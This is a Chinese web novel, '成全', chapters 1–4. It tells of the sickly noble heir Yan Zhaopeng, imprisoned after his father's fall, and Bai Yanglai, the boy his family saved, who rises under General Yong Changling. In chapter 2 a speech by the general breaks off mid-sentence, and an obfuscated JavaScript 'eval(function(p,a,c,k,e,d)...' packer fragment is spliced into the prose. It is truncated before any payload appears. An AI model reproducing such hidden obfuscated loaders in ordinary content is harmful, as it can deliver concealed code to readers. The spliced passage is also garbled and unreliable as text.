《成全》 1. 第 1 章 缘起 初春,擢英司大牢。 燕昭鹏在狱中的日子还算平静,饭食比起家中虽然粗糙简陋但也还算干净,顿顿都是热乎现做的,菜品没有重过样还有汤有水,炭盆日日长燃也没有熏呛的烟,比帝都一般的人家都要好许多。只是每天没有什么事情好做,惟能找个角落裹着被子回想以前的事。 而想起以前,就绕不开白阳來。 白阳来,燕昭鹏遇见他的时候他还不识字,一身破破烂烂血肉模糊躺在路边的草丛里。燕墨闻一行人因为燕昭鹏看见了路边的白阳来而停下马车,父子俩正在商量这看起来如同死了一般气息微弱的小人儿出手救了也不知能不能活的时候,前方传来一阵巨响。山顶上滚落了一方巨石将前面的路砸出了一个大坑,彻底不能走了。父子俩被吓了一跳,从前去探查的下人口中得知了前方的情况。燕昭鹏对燕墨闻说:“父亲,我们救他吧。我觉得,他一定能活。” 燕墨闻心中颇为震惊,如果不是停下车来查看这小人儿的情况,现在自己的马车怕是正要行到落石之处,这样一来若说是出现在路边草丛中的血葫芦小人儿救了自己父子一命也不为过。世事玄妙,既如此,我父子也该救他一救,不管能不能行,总归要尽力为之才是。 燕墨闻心中正想着,便听燕昭鹏对自己说:“父亲,我们救他吧。我觉得,他一定能活。” 燕墨闻摸了摸儿子的头说:“好,小鸟说救,咱们就救。” 作为帝都的百年世家,燕家的底蕴毋庸置疑,又因燕昭鹏这根独苗苗从小身体不好所以一应医药都是齐全的,哪怕在路上都不例外。听说两位郎君捡回一个生死不知的小人儿来,燕家的家养大夫关天和便带着自己的大徒弟关阙来了。 关阙早已能够出师,只不过顾念着与师父的情谊总是侍奉左右,此番诊治捡来的小人儿也不必劳烦师父出手,他拨开破旧脏污的袖口搭上细细的手腕品了品脉象,回身对燕家父子并师父禀报道:“郎君,师父,此子确实脉息微弱,受伤甚重,但其意志极强或可于百死之中搏得一片生机。窃以为,可救。” 关天和自然信任徒弟,但看到小小一个孩子躺在那里如同死了一般肉眼甚至看不出气息,他医者之心实在难安。关天和因关节疼痛行动艰难,此时却挣扎着从素舆上起来,想要亲自诊一诊小伤者的脉息,关阙连忙在那孩子的胸前腰腿处摸了一遍,确认骨头没事儿,然后将人整个抱起来抱到师父面前,让师父搭脉。 关天和细细品了品这脉象,点了点头,示意徒弟将人放回去安置好,然后转头对自己的主家、燕家父子说:“郎君,这孩子确如阙儿所说求生意志极强”他意有所指地看了看靠在燕墨闻身边的燕昭鹏“人若是自己想活,那除非气数已尽否则八成死不了。”他问燕昭鹏:“小郎君,他想活,你想救他吗?” 燕昭鹏还不懂他话中的深意,以为他说的只是眼前之人,便回答说:“自然想。关大夫,请你救他。既然你说他想活,那我们就让他活下去。” 真是世家小郎君的口气,言语之间便定了人的生死。 关天和不意外,于是接着说:“好,既然郎君说要他活,他便一定能活。只是这救人也分三六九等,若是救了他只让他当个下等人那说不得还不如就让他死了的好,若是救了他能让他活得像您这样,那救他一番才不算白救啊。” 燕昭鹏虽然年纪小可是一点儿都不好哄骗,他矜持地笑着说:“关大夫这话说的,一半有理一半却也实在无礼。” 燕墨闻看着燕昭鹏排开架势准备与人理论的样子笑得甚是欣慰,他这儿子就是太早慧又太懂事,又因为身体甚是娇弱的缘故难得有多说几句的精神。因此一切能让他提起精神来做的事情,哪怕是四处破坏、胡搅蛮缠,只要儿子有力气、有兴致去做,他都愿意纵容。 关天和从燕昭鹏出生起便一直为他看诊,留存下来的燕昭鹏的脉案甚至比燕墨闻的更全面更详细,因此他深知燕昭鹏除了身体病弱之外更致命的是,他因为长期病痛的折磨对未来有的不是希冀而是恐惧。与这个从路边捡回来的小人儿不同,他最缺少的就是求生的意志。燕昭鹏的早慧让他知道,自己的存在对于家族尤其是父亲而言有着无与伦比的重要意义,所以他不敢求死;但活着于他而言又实在太过痛苦,所以他也无意求生。 正如关天和方才所言,一个人若一心求生那多半死不了,而一个人若是无心求生又身染重疾呢,那他多半也活不久。 关天和徒弟有出息,自己身体也不太好了,便打算着与主家告辞找个地方颐养天年,但因一直放心不下燕昭鹏,生怕一个没看好这聪慧可爱的小郎君便没了,才执意拖着病体也要亲自照看。如今遇到了一个什么都没有唯独求生意志无比强盛的小儿郎,简直是天赐的破局之人呐。关天和不动声色地与燕墨闻对了个眼神。 燕昭鹏对此毫无所觉,他挺了挺小胸脯说:“别说是这个被我在草丛中发现的小人儿了,就是帝都与我燕家一般的世家中的郎君,又有谁能活得如我一般自在幸福的呢!您可真是会说笑,他无论如何都不可能活得像我一样。” 关天和似被说服,点了点头对已经快速查看过伤者全身并开出了一两个方子的徒弟说:“阙儿,停下吧,别救了。生不如死不如早死,放开他吧。” 关阙没理。他都出手了那就没有停下的道理,关大夫要救的人,必须活。 燕昭鹏燕墨闻父子面上虽也没有太大反应,但各自于心中却禁不住都掀起了惊涛骇浪。只因关天和说的那句“生不如死不如早死”。 燕墨闻的懊悔和心酸简直能在一息之间将他淹没,是他无能才让原本康健的孩子无妄地承受了这么多年的痛苦,可是即便如此他也自私得不愿放手。明知幼小的孩儿日夜忍痛煎熬,仍贪恋这仅有的血脉牵绊,祈愿哪怕倾尽一切,他唯一的宝贝也决不能早死!想到关天和方才传递给他的那个眼神,他明白这个有着倔强求生意志的孩子可能会是他们父子的转机。燕墨闻禁不住想,这个孩子该不会是上苍派来拯救他的吧,先是阻止了他们被落石砸中,后又为无心求生的儿子带来了他正正缺少的求生之志,他看向燕昭鹏,心中再一次涌起希冀。 燕昭鹏也因为关天和的话愣住了。“生不如死不如早死”是一直在他心中反复的话,虽然从来不敢说出口,但每当他难受的时候、体乏无力的时候、饮食无味而药石苦痛的时候,他都反复在心里咀嚼这句话。只是今日这句话终于被人说破了反而让他突然意识到了它的残忍。 何其残忍啊,“生不如死不如早死”,并不是他一直以为的解脱,而是一种血淋淋的残酷现实。哪怕关天和说的不是他,而是现在人事不省躺在那边的人。那人看起来比他还小,比他还弱,但他想活。 燕昭鹏突然意识到,关天和话中真正的意思其实是在借着这个小儿的生死在问他,问他的心:燕昭鹏,你是想活,还是想死? 燕昭鹏不敢说想死,可他也不敢说想活。 关天和看过关阙开的方子,没有任何问题,徒弟的脉息精妙已不下自己。他将方子递给了燕昭鹏。燕昭鹏不明白为何给自己,但还是接了过来,燕墨闻也将脑袋凑到儿子肩膀处挤着与他一齐看。 这一看才明白,原来关天和问了这许多是因为这个。 燕昭鹏世家教养又病痛已久,看方辨药直可以说无师自通,眼前这个方子一看便是只有世家子弟才用得起的,怪不得关天和要问他。如果他想生,那这个孩子与他同生才能得救;如果他不想多活,那这个 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燕墨闻同儿子说过无数次“好好活着”,但这是第一次燕昭鹏对他说自己要“好好活着。”燕墨闻一颗慈父之心如何能不感动,当下便赌心赌肺的允诺到:“好啊!我的小鸟儿,只要你好一日,为父便愿将他当做我燕家的小郎君,好好照顾一日!” 燕昭鹏倚靠着父亲的大腿得意地看向关天和:“关大夫,便如医我一般,医好他吧。” 关天和冲动过去也如老顽童一般对着挑衅他的小郎君自信一笑说:“医好他可太简单了,若是能如医您一般,那他不但能好,老夫愿助他肋下生出双翼,陪您飞个天高海阔!” 小燕昭鹏抱着手臂看着闭目不动、身上脏污未净的人想:哼。那就让我看看,你到底是个什么人物吧。 白阳来确实是个人物。 经过一番医治,尤其是药浴之后的白阳来白白净净像个整玉雕成的小人儿,燕昭鹏让人给他穿上自己精致的锦绣衣服,只觉得他比自己见过的一切画与真人都要好看。此时,他们已在回程的路上了。面对燕家父子的询问,小玉人儿说自己叫白羊来,因为他一开始出现在人前的时候身边跟着一只白羊,所以就叫白羊来。 那时的白阳来年小体弱不爱说话,只是本本分分的干能干的活,拿到吃的就跟他身边那只白羊分,一人一羊各吃一半。晚上睡觉人和羊就挤在一起,依偎着互相取暖。他什么都没有,只有这只小羊;小羊也什么都没有,只有他。 有一天,几个强人把小羊掠去,剥皮砍肉煮进了一口大锅里,白阳来疯了。 那么小的孩子拼尽全力撞翻了煮羊肉的大锅,不顾一切地冲上去与围坐在锅旁等着吃肉的人们厮打。他疯了,全然不在乎自己会伤会死,或者说在看见小羊血淋淋的、被剥下的皮毛的那一刻,他便也跟着他的小羊死了一回。 他扑到为首的人身上,在他耳前的面颊上狠狠地咬了一口,鲜血淋漓地生咬下一块肉来,但随即便被那人揪着头发狠狠地惯在了地上,几人将他围起来一顿踢打,直踢到他满身是血一动不动才住手。 煮肉的锅被掀翻,火也灭了,为首之人捂着还在流血的伤口,啐了一口带着人走了。 不知过了多久,白阳来昏昏沉沉地睁开眼睛,透过自己已经凝结在眼睫上的鲜血看着通红的天空,心里默默地发誓:“小羊,我一定给你报仇。”从醒来到再次不省人事之前,他一遍一遍地将这个念头想了不知多少遍,誓要将它深深地刻在心里。 再醒来,白阳来先是看见了一片鲜艳精美的织锦,那是燕家马车的车顶,紧接着,一张笑脸比他见过的阳光更灿烂地出现在他的眼前,带着明媚温暖的笑意对他说:“你终于醒啦!” 白阳来心说,不,我是,又活过来了。 2. 第 2 章 身在擢英司大牢的燕昭鹏摇摇头收回回忆,想他干什么,当初救他的时候也不图他什么,如今他和自己都好好地活下来了,他眼看着还有出息了,不是很好吗?只是没有想到,燕家竟到了这般光景。算了,这一段因果就这样了了也好。 燕昭鹏将不知何时嘟起的双唇埋进皮毛大氅的绒绒的领子里抱进怀中的手炉,暖着自己常年冰冷的指尖,终是忍不住叹了口气。 擢英司是先皇成立的专门审查和处置违反大睿刑律的皇亲国戚与世家子弟的机构。这里的世家指的是至少三代为官且三代之内出过一品大员的家族,与各地已经泛滥的世家称谓截然不同。因此擢英司的大牢也格外与众不同,只要是没有审结定罪的嫌犯,在擢英司的牢狱生活除了没有自由,比外头一般百姓日子可是好过多了。像燕昭鹏这样的世家子弟,虽然家主获罪但家业还在底蕴又深厚,不论是人脉还是钱物都是尽有的,各方关不关照的不说,单说他在牢中的一应用物,就都是燕府送过来的,除了一些过于奢华器物之外,擢英司大统领挥着手中收到的银票都接进来了。就是这样,燕府的老管家还准备日日往牢中给自己看着长大的小郎君送饭呢,气得大统领用那把银票给自己扇了许久的风才让燕府的下人滚。 若是审结定罪,或是需要用刑,这里的刑具比起其他刑司也并不算可怕,毕竟养尊处优的郎君娘子们骨头都不硬,随便吓唬吓唬也就涕泗滂沱地交代了;当然若是少有的遇见了厉害的主儿,那大统领自然也有的是手段能对付。 说到这位大统领,可是个看起来斯斯文文的……狠人,最喜欢长得好看肤色玉白又本领出众的人才。前不久他就在北归的雍大将军麾下看中了一个无比满意的美人、不,良才,这人正向人询问能否用军功换擢英司狱守之职。哼,擢英司的狱守可都是他的人,小校尉眼光不错嘛。翟大统领是个宽厚人——至少对自己人算得上宽厚,这擢英司的狱守油水颇丰,小将军征战归来也该歇歇了。大统领佟光向身边人示意,把那小校尉想办法给他弄过来。 只是,雍大将军是何等人?他佟大统领看中的良才雍大将军又怎能不知道赏识? 雍大将军麾下润和大营中,一位身穿红色束袖长袍的年轻将军向着中军帐阔步走来,他身量高挑四肢有力,肩平背直步伐稳重,更兼筋骨风流姿态从容,在粗犷的军营中行走也如画一般别有一番风景。主帐两侧的侍卫一齐低头以示尊敬,他迈过门槛,向帐内人行礼。 座上乃是今上亲封一品辅国大将军雍长龄,他身形高大,肩背宽厚,端坐于御赐的紫檀木雕云纹宝座之上,一见来人虎目中立刻染上慈爱,只不过嘴角的笑容有些刻意。白阳来行礼请安,听见上座之人高兴地说:“小羊啊,来来来,看看圣人刚赐给我的这块玉。哎呀雕得真好啊,大小也正合适,你看。”雍大将军说着将那颗整玉雕成的桃仁握在手中把玩给白阳来看。 白阳来看大将军把玩着玉核桃似乎心情颇好,于是附和道:“这把件大小跟您的手掌相合,雕工亦是精细,看着像真新鲜核桃仁。圣上对大将军真是皇恩浩荡。” 雍大将军看他努力而略带生硬地应和,有些好笑地继续说道:“是啊,我一心只有圣人,难得圣人也将我的忠心记在圣心,为将者得遇明君,我这辈子也是别无所求了。” 白阳来没想到应了一句还有第二句,当下愣住,一边反省自己还是不够圆融一边尽速地想该如何接下去时,雍大将军突然口风一变说:“唯有你。” 白阳来一愣之后又是一愣。 雍大将军将玉核桃小心地放入锦盒中,再将锦盒盖好,递给身边的亲兵。等长案上没有了要紧物事后,他大掌一拍:“白阳来!你个不求上进的玩意儿!男儿志气当建功立业做万人之上,可你呢?要用自己的军功去换个什么玩意儿?你们都给我下去!那谁,把东西给我放好了!” 一众人等得令退下,被特别吩咐的亲兵抱着锦盒退到一半又应声回称了一个“是”后才迅速离开。 偌大的帐内只剩雍白二人,雍大将军没再发脾气,而是看了白阳来一眼起身转入后方内室,在榻上坐下。 他扬了扬下巴,示意跟着的白阳来:“说说吧,怎么想的?” 白阳来反应过来,方才那场戏已然落幕了,此时是自己人之间说话。不过他倒没有改变什么,态度依旧,回大将军的话说:“擢英司狱守收入丰厚。” 雍大将军是好糊弄的人吗,他立刻哼道:“哼,你小子,钱在你眼里淡的还不如水。说,是看上什么了?非得待在那个位置上才能有?” 白阳来看看他垂下凤眼说:“我原本平平无奇……”他小心翼翼说:“全靠您抬举。” 雍大将军果然立刻伸手拍他了的羊脑袋:“嘿你个欠揍的,又说这个。别来这一套,说你的事儿!老子愿意抬举的人不多,你珍惜着就对了,敢怯懦畏缩看我怎么收拾你。” 白阳来只好告诉他,自己有个朋友被下了狱,前日圣人下旨整顿军务正好擢英司有个狱守的位置空了出来。 白阳来说:“他天生矜贵,牢里的日子不好过……我想若是我做了狱守也照应着他一些。” 雍大将军一时不知该说什么,这孩子什么都好就是太实在,如今的大睿、又是在官场混这么实在可怎么行?现在有自己在,他只要好好干功劳官职自己自然会替他想着,可官场诡谲,若是自己什么时候失势了呢,又或者了他什么意外自己护不住他,那又该怎么办。人还是要自己能立起来才行,踏实没错,但满足于现状在如今的局势下是很危险的。 白阳来不好意思地说完就自觉地给雍大将军泡茶去了,雍长龄眯着眼睛坐在榻上沉思不语。 白阳来将热水注入茶壶时,雍大将军说:“你的朋友,是前户部侍郎的那几个儿子?” 白阳来停下动作,稍稍回忆了一下才继续倒水:“不是,我跟他们不是朋友。”放下水壶提起茶壶,白阳来认真地说:“那几个人喜欢逼人喝酒,我不喜欢喝酒,我跟他们不是朋友。” 雍大将军说:“哦?” 白阳来将茶盏双手递上等雍大将军接过,他才继续说:“刘侍郎扣着我军将士们的饷银迟迟不给,是想为难您讨好他们尚书,我跟他那几个儿子喝酒,不过是为了让他们替我把文书加盖了官印好尽早提饷银而已。没交情,纯为办事。” 雍大将军点了点头:“所以,是金吾卫燕将军家那位小郎君?” 白阳来手下一顿说:“您知道他?” 雍大将军说:“当然知道,燕溟燕昭鹏嘛。小时候我们都可稀罕他了,长得是真好看真可爱,本以为会跟他阿爷一样成个儒将,没想到那孩子身体不好听说竟不能习武。嗯,他确实是天生矜贵。” 这话一出白阳来便有些急了,对雍大将军说道:“他从小身体就不好,在府里时上下都是精心小意地呵护着,少有不慎他都会觉得难受。” 雍大将军一边观察他的神色一边顺着他的话说:“是啊,养尊处优长大的孩子,怎么受得了牢里的委屈。”虽然凭燕家在帝都的根基和影响,擢英司只怕非但不会为难他还极有可能对他大开方便之门。 雍大将军唏嘘说:“这燕郎君小小年纪,父亲流放也就算了,要是一个弄不好死在牢里,那多可惜。” 白阳来脸色一下子变了:“不,他不能死!” 雍大将军面无表情:“噢,那你救他呀。” 白阳来双眸中的锋锐一闪而逝如烟花般熄灭,低下头说:“大人的案子是圣人判的,我能如何。” 雍大将军已经不想拍羊脑袋了,毕竟这时候他需要头脑:“什么圣人判的,圣人日理万机,判案子这种小事劳动得到他吗?案子是大理寺判的。再说那也不是他父亲的案子,是刘侍郎的案子,你的大人充其量不过是受了牵连。”白阳来在燕府虽然识字读书但大都是自学,并没有接受过燕昭鹏那样的世家教育。对于许多书本之外的东西总是一知半解,还好燕墨闻送他从军又遇到了雍长龄,否则他在军事上的天赋也不会被发现。 白阳来明亮的眼睛放出灿烂的光,充满崇拜和信赖的眼神看得雍大将军义气澎湃,心想:这孩子,真有一双好眼。他咳了一声正色道:“你知道对于男人来说官职与权势意味着什么吗?”我让你不知道珍惜,乱换东西。 白阳来没说话,官职与权势燕家都有,他从小正在燕府规矩和繁华都看过。不过他只是个外人,看过便罢,什么都不是他的,他除了自己的一条命,什么都没有,他也从来生不出妄心。 雍大将军摆摆手:“我这么跟你说吧,金吾卫新提了个大将军,我带你入朝参拜那天他刚受封,还在殿上谢恩来着,你记得吧?” 白阳来点点头。 雍大将军意味深长地说:“我一直以为,金吾卫的大将军会姓燕,但如今另有其人。” 白阳来神色一禀,目光由温和转为锐利。雍大将军欣赏地看着他的变化,这样的眼神才对嘛,温和乖巧确实很让人喜欢,但男儿血性才是他们武人最该显露在外的东西。雍大将军想,这样的儿子有一个也不错,可惜自己子孙缘薄。 雍大将军是看着这个挺拔的少年在自己麾下长成青年的,此刻眼中是满满的回忆和希冀,仿佛透过他看到了自己年轻的时候,雍长龄对白阳来说:“对自己人,要好,掏心掏肺不为过;可对外人,不论什么时候都要多想一想。你如今身在帝都,是有品级的军官了,不比从前,以后你走的路只会越来越危险,因为越往上走你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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白阳来心中激荡,许久以来深埋在心的往事被雍大将军就这样说开来让他心中泛起温热,他从前以为自己会陪着燕昭鹏永远在燕家一辈子,以至于后来燕墨闻替他办了清白出身谋了小校的职位将他送至润和大营的时候,他以为燕家不要他了。原来不是不要他,是觉得他能更好。白阳来看着面前苦口婆心的雍大将军,想了想问:“那您的教导提携之恩,我又该如何回报?” 雍大将军哈哈大笑:“小羊啊小羊,你这么一个好孩子,你说,明明是撞到了他手上,姓燕的为什么把你送到我跟前?” 雍大将军收了笑,目光幽深的凑近他说:“他是为了你,想要成全你生来不凡一身才干;可也是为了我,想要借你的手要成全我;当然,最终是为了他自己,他要借你我之力成全他的儿子,成全他们燕家。”雍大将军感叹道:“一石三鸟啊,真不愧是燕墨闻,百年世家所出的麒麟子,智计无双可惜不愿为人所用啊。” 雍大将军由着别人家的麒麟子想到了自己家睿智天成的宝贝闺女。 原本雍大将军与妻子育有一女,但在论婚嫁前便夭折了,这些年他的官位越升越高,心却越来越空。 族人下属想给他过继孩子的、认干亲的、拜师父的不知凡几,通通被他回绝了。不是不喜欢孩子,实在是他已经有过世上最好的女儿,其他的便再也入不了他的眼了。 直到在马厩看见白阳来。 这孩子生有一双好眼睛,澄澈清明,湛湛如秋水,初看纯真如婴孩,再看深沉不可测。雍长龄在白阳来的眼中看见了与自己生女一样的敏慧沉静,一样的不屈和昂扬,哪怕当时白阳来自己对这些都还懵懂无知,阅人无数的雍大将军已经一眼看准了他。 提携一个身在麾下的小校对一营之中说一不二的大将军来说简直易如反掌,甚至都不必反掌,这位得大将军青眼的年轻校尉便在一次次试炼中被下面人送到了他的面前。等副将向他禀报,白阳来武功兵法尽皆可堪造就时,雍大将军便顺理成章地将他认作弼宁校尉,让他辅弼在侧,带进带出甚至带上了战场。 白阳来比他想象的更优秀,也比他想象中成长地更快,只是不知为何,总带着一股失意的气息,仿若被丢弃的小动物,战场上的功绩和战后的升迁赏赐都不能让他真正高兴起来。 原因原来在这儿啊,燕家。雍大将军想,燕墨闻,你是麒麟我有白泽,既然把他送到了我面前,那这只小羊可就是我的了。 堂堂雍大将军怎么会让自己调教得正好的有德之瑞才去当狱守?简直滑天下之大稽。至于由户部侍郎牵出、牵连得燕墨闻被流放燕昭鹏被囚的“永兴案”,其实早就已经查得差不多了,但因为朝议的重点早在案发之初便不在官员贪腐而是直指军务整顿,所以案子虽然查清,但涉案人员的判决处置迟迟未能行文。毕竟牵涉了诸多人物,朝堂之下关系错综复杂,更有上意未明,大理寺只能将此案暂压,一应人犯皆好生看管着,大家一起等朝议的结果。 其中燕昭鹏作为受牵连的官员家属,大理寺卿知他身份更清楚燕家在帝都的体面,一开始便任由擢英司将其羁押,自始至终问也没问过。 是日下朝后,圣人身边的近侍来请雍大将军陪圣人下棋,雍大将军谢恩后便跟着去了。 3. 第 3 章 在圣上面前的雍长龄是另一幅面孔,只见他行礼问安后便没心没肺地笑着对景帝说:“想来圣人今日是心情大好,竟如此打趣臣,臣哪里会下棋呀,更别说陪您下了。”任谁见了都得说一句:雍大将军与圣人真是君臣相得,看这说起话来也是十分的亲近。 景帝堆出一笑,温和地说:“雍卿不会下黑白子,便陪朕下一下如今帝都这盘棋吧。” 雍大将军的官服刚沾着皇上赐给他的瓷凳,闻言忙又站起,做出躬身侍立的姿态。 景帝看着他又是一笑,只是相比方才,这一笑冷了些,也真了些:“哼,你倒乖觉,朝堂之上吵了这么长时日你身为大将军竟然一言不发。想那燕墨闻要是有你一半得沉稳,金吾卫大将军的敕封诏书上写的就是他的名字了,何至于流放。” 雍大将军躬身道:“圣人圣明。” 景帝一个眼锋瞪过去:“朕圣明,朕怎么个圣明法你倒说说,说得好赏你个恩典,说不好,你明日就给我去朝上跟他们争议去,别想躲清静。” 雍大将军憨笑着拱手道:“圣人容禀,金吾卫大将军如今统领内卫,负责皇宫与帝都的治安,这样的位置除了得圣人信任,必得是有身份又能妥善处理各方关系之人方能胜任。那燕将……罪人燕墨闻……”罪人二字听得景帝皱眉,不过雍长龄没停,继续说到:“说得好听是文武双全,说得实在点儿那就是武人的直脾气和文人的拗性子他全占了。虽说他确实是德才兼备,但任金吾卫的大将军一职,以他如今的脾性还是欠些磨炼。至于这身份上,圣人,燕家这些年只有一个他,而他又是独来独往的性子,您爱才惜才,想借着此次的事磨一磨他的性子等过些年他成长得圆熟了再召回来正好堪用,也算是两全其美。” 这一番话确实说到了景帝的心里,但这位帝王并非寻常心性,每每所思所想有异于常人,比如此时,他便厉声道:“雍长龄,你好大的胆子,竟敢揣测上意!你还敢替朕安排行事了?” 雍大将军熟练地闻声跪下:“回圣人,臣不敢,臣不过是考虑着自己身后事时想到过燕墨闻,圣人问起臣便照实说了。” 不想景帝更生气了,原先气有七分假,如今倒有十分真了:“考虑身后事?什么身后事,你当辅国大将军才几天,不想着好好替朕练兵治军想什么身后事!朕信你用你竟惯得你矫情起来了?!” 雍大将军深深一个头磕下去带响儿:“圣人恕罪,圣人容禀。臣深负皇恩,夙夜不敢或忘圣人之信爱!但圣人,您也知道,臣这些年日子过得也苦啊,要不是有圣人爱重,信臣用臣,臣一个丧女的老鳏夫,哪里能撑到如今还活的这么人摸人样,全是靠了圣人给臣的体面啊。臣有什么?臣如今唯有圣人您啊……”说着便在地上哭了起来。 要说他这番话可谓前言不搭后语、逻辑不通表意不明,让人不知所云,但偏偏景帝爱听。他看着跪伏在地的雍长龄叹了口气,让近侍将人扶起来,赐座。 景帝做出一番推心置腹的样子说:“雍卿,还是你明白朕啊。燕家百年将门,那燕墨闻虽未从军却不曾忘了家门传承,是真正的文武双全啊。偏偏性子执拗,朕一番爱才之心这些年简直要被他负尽了!你说!若非此子心高气傲丝毫不知自省,此次的案子怎么会牵连得到他!” 雍将军也适时叹息:“圣人说的是啊。那燕墨闻虽然有才干又年轻,可毕竟是世家出身怎能在圣人面前还如此高傲?君君臣臣,到底是他身为臣下有失本分。如今被流放他乡也该感念,若非圣人您宽厚仁慈德被满朝,他哪能就是个流放之罪?便是臣等这样的庸才说来哪堪为圣人驱使,全赖陛下训导管教,才能领兵征战为圣人守土开边。圣人本自才高,又兼德善,这才有了臣等拜服于上领管于下的余地啊。臣之盼圣人切莫为臣等日夜忧思,案子既然早已了然于圣心,不如早早结清,您是这万里江山万千黎民的圣上,实不必为一人一案长久费心啊。” 一番话可谓是端端正正地说到了景帝心坎上,眼见景帝微微点头,嘴角忍不住露出满意的笑意,雍长龄知道话说对了,于是趁热打铁又加了一把火:“圣人心怀天下,所思所想是臣万不能及的,还请圣人恕臣斗胆,虽然是些小心思也伏请圣人看在臣对您忠心一意的份上,斟酌些许。” 景帝听了他的话觉得自己为了吏治辛劳至此也该尽早结案了,反正自己想要的目的也达到了,该松泛两天了,此时听到他伏请,一甩手便准了:“雍卿但说无妨。” 雍将军拱手道:“谢圣人。圣人容禀,自成德元年之后,臣每每于闲时思念小女……” 雍将军的独女,雍平康,成德元年五月殒于竟芳园,景帝追封平康郡主。雍娘子自幼聪慧,不教而明,不学而知,好思世事,善揣人心。还记得她十五岁及笄礼时,为表对雍长龄的看重,景帝曾亲至观礼,仪式完成后景帝问雍娘子想要什么赏赐,她向景帝要了雍氏祖居地玉州的十五顷荒地作为雍氏学田,专供家中子弟读书之用。景帝本就自诩盛世明君,提倡礼乐教化,闻言自是十分欣慰,他觉得自己实在是善任贤才治下有方,上天才会将如此远见卓识之女下赐于他。小女儿尚有如此深远之计虑,景帝这一朝天子自然更要有恢弘气象,于是下诏,将玉州一百五十顷土地赐给了雍氏一族为学田。 雍氏一族本已于几十年前全族迁至帝都,玉州祖地只留了一脉旁支守祠堂。因为景帝的赏赐,雍氏族长与当时还是中郎将的雍长龄入宫谢恩后便带着族人们回玉州祖地去了。 十五岁的雍娘子初初长成,美得张扬自信,出类拔萃,见过她的人无不感叹她太阳一般的端庄与高贵,却实在没有谁能分得清她的美貌与聪慧究竟哪一个更动人。景帝在那日之后也为她动了心意,只是这桩姻缘终究未成。 此时,雍长龄在景帝面前提起女儿实在是迫不得已,朝中正在改革军制,他又身为大将军,如何能让景帝对他信任放松实在是一件需要万分小心的事情。索性,只要景帝在心中认定他无所依傍只能牢牢拜伏在自己脚下,就不会因其他人的进言对他过多防备。当然,也只是不会过多防备。帝王多疑,尤其是今上。 雍长龄进宫一次办了许多事,推进了“长兴案”的结案进程;稳定了自己在景帝心中的信赖地位;随后还专程转了个弯替白阳来回绝了那什么狱守的调任。 这些事情对于雍长龄来说都不是难事,也未能让他感到疲惫,但白日为推诿景帝在宫中忆起女儿却实实在在勾起了他心中的波澜。直至回到营中屏退了旁人,如山一般 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“康儿比我聪明,自幼喜好读书,一直很清楚自己喜欢什么,想要什么。仅此一点她就比我强太多了。”雍大将军对白阳来敞开心扉说:“她安慰我不要活在悔恨之中,让我好好看着每天早上的太阳,好好活着,直到寿终正寝,说这是她身为女儿的心愿。”雍大将军无意识地握着空杯重重点着头,也不知在向谁保证:“我一定……一定一定……一定做到。” 白阳来对亲人之间的感情其实是麻木无感的,因为他从来没有体会过,他从小到大只有燕昭鹏一个朋友,但雍大将军的眼泪依然能让白阳来感受到他的难过。这就好像天地红尘万事万物,白阳来都是置身其外的旁观者,但他的灵慧又让他能够深深地明白世间的种种情感——只是明白,不是体会,他没有身受。 从怀里摸出一个干净的棉布帕子递给一盏即半醉的雍大将军擦泪,待他接过后从他手中扣除空酒杯放在桌上,白阳来真诚地劝慰说:“雍娘子聪敏睿智世间少有,天妒之而不假年。您就当她是回天上当仙女去了,别难过。” 雍大将军通红的双眼饱含着热泪,锐利目光穿透水意却不减锋芒,雍大将军说:“你只知她聪慧,可你不知她聪慧到何等样地步!”雍大将军宽厚温热的大掌握住白阳来如玉般的五指哽咽道:“她自从病重便对世事看得越发通透,她要我带她出帝都便真的出去了,她在草原上为自己找了个好地方建了一个新家给自己调养身体便真的好了许多……”所以,雍大将军一直觉得,只要女儿想活,是一定能活下去的,可恶就可恶在,她权衡利弊觉得自己必须死! 雍大将军疲累一日,先是在宫中勾心斗角后又回来与白阳来话真心,大恸于心十分受不住,说完了话便半昏半睡了过去。 白阳来少年初长成虽然身量已足但看着仍是一棵小竹细细弱弱的身形,雍大将军肩背宽厚看起来体型硕大,竟被他两手一抄打横抱了起来,还抱得稳稳的。 双腿离地对雍大将军这样久在沙场挣命的人来说会让他本能地清醒,不过显然这不是第一次了,雍大将军双眼一睁看见白阳来无奈但纵容的表情心突然就松了下来,继而脑袋往人家怀里一歪彻底睡了过去。 4. 第 4 章 第二日,景帝敕旨大理寺将“永兴案”审理清楚尽快结案,大理寺卿接旨后估算着时间将早已准备好的折子递了上去。“永兴案”的处理结果是各方历经多时博弈协商之后一致认可的,所以折子很快获准,后续判罪处罚等一应事宜迅速推进。燕墨闻在流放的途中接到了圣旨,被还了清白也还了身份,但处罚还是有的,就近被指了个军府去做教官为圣人练兵,同时希望他好自深省,常思己过云云。 燕昭鹏自然也被从狱中放出,乘着华丽温软的马车回了府。与此同时,白阳来因“战功累累,可堪造就”却“冲动任性,妄自菲薄”于景帝下旨结案的当天就“带功领罚”被派出城外轮训去了。 燕昭鹏回府之后先是循例病了一场,阖府闭门,由关阙关神医主持治病养身,直到将近一个月之后,府里收到了燕墨闻传回来的家信,燕昭鹏才终于有了精神,渐渐地好了起来。 燕墨闻的信内容十分简单: 第一,为父一切都好我儿勿念。 第二,可笑之人为争无聊之权陷我于荒谬之罪,可笑可叹唯独不必为我心忧! 第三,你我父子自此分离,今生不知造化如何,万望我儿珍重自身,切记切记。为父亦必善自安养以待来日团聚你我皆安。 燕昭鹏看着熟悉的字体,忍不住笑出声来:“张扬一世的燕墨闻终于自由了。” 他走到门外的露台上,看着园中精致美丽的花木想:帝都真是个令人失望的地方。 突然,他抬头,眯眼,捡石头,扔,砸中了树干。 白阳来不得已从树上跳下去,不一会又重新爬上来,跳至园中。 燕昭鹏见他稳稳落地,一摔披风转身就往里走,边走还边叫到:“去告诉福英叔,把园子边儿上的树给我砍了!哼!”重重一声,保证即使站在院子边的树下也能听得见! 白阳来听了这一声,心下盘算:看来这身体是调养得不错了。他耐心地等到燕家忠心耿耿的老管家章福英安慰了心肝郎君一通并留下一桌热腾腾地新鲜吃食脚步轻快地离开后,才从窗户翻进屋里。 